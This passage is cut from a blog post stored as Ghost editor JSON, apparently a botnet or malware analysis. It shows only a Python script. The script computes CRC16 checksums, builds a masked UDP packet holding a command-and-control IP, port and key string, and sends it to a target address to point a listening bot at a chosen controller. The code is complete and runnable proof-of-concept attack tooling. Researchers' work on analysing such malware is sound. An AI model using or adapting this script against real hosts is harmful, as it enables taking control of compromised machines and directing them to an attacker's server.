bytearray, offset, length):\n  if data is None or offset < 0 or offset > len(data) - 1 and offset + length > len(data):\n    return 0\n  crc = 0xFFFF\n  for i in range(0, length):\n    crc ^= data[offset + i] << 8\n    for j in range(0, 8):\n      if (crc & 0x8000) > 0:\n        crc = (crc << 1) ^ 0x1021\n      else:\n        crc = crc << 1\n  return crc & 0xFFFF\n\ndef Gen_payload(ip:str,port:int):\n    out=bytearray()\n    part1=random.randbytes(92)\n    sum=crc16(part1,8,84)\n  \n    offset1=sum % 0xc8\n    offset2=sum % 0x37\n    padding1=random.randbytes(offset1)\n    padding2=random.randbytes(8)\n    \n    \n    host=socket.inet_aton(ip)\n    C2=bytearray(b'\\x01')\n    C2+=host\n    C2+=int.to_bytes(port,2,byteorder=\"big\")\n    key=b'NetlabPatched,Enjoy!'\n    C2 = C2+key +b'\\x00\\x00'\n    c2sum=crc16(C2,0,29)\n    C2=C2[:-2]\n    C2+=(int.to_bytes(c2sum,2,byteorder=\"big\"))\n\n    flag=0x7f*10\n    out+=part1\n    out+=padding1\n    out+=(int.to_bytes(sum,2,byteorder=\"big\"))\n    out+=(int.to_bytes(flag,2,byteorder=\"big\"))\n    out+=padding2\n\n    tmp=bytearray()\n    for i in range(29):\n      tmp.append(C2[i] ^ out[offset2+8+i])\n    out+=tmp\n\n    leng=472-len(out)\n    lengpadding=random.randbytes(random.randint(0,leng+1))\n    out+=lengpadding\n\n    return out\n    \npayload=Gen_payload('192.168.159.128',6666)\nsock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)\nsock.sendto(payload,(\"192.168.159.133\",2345))  # 任意端口\n\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"4.0"}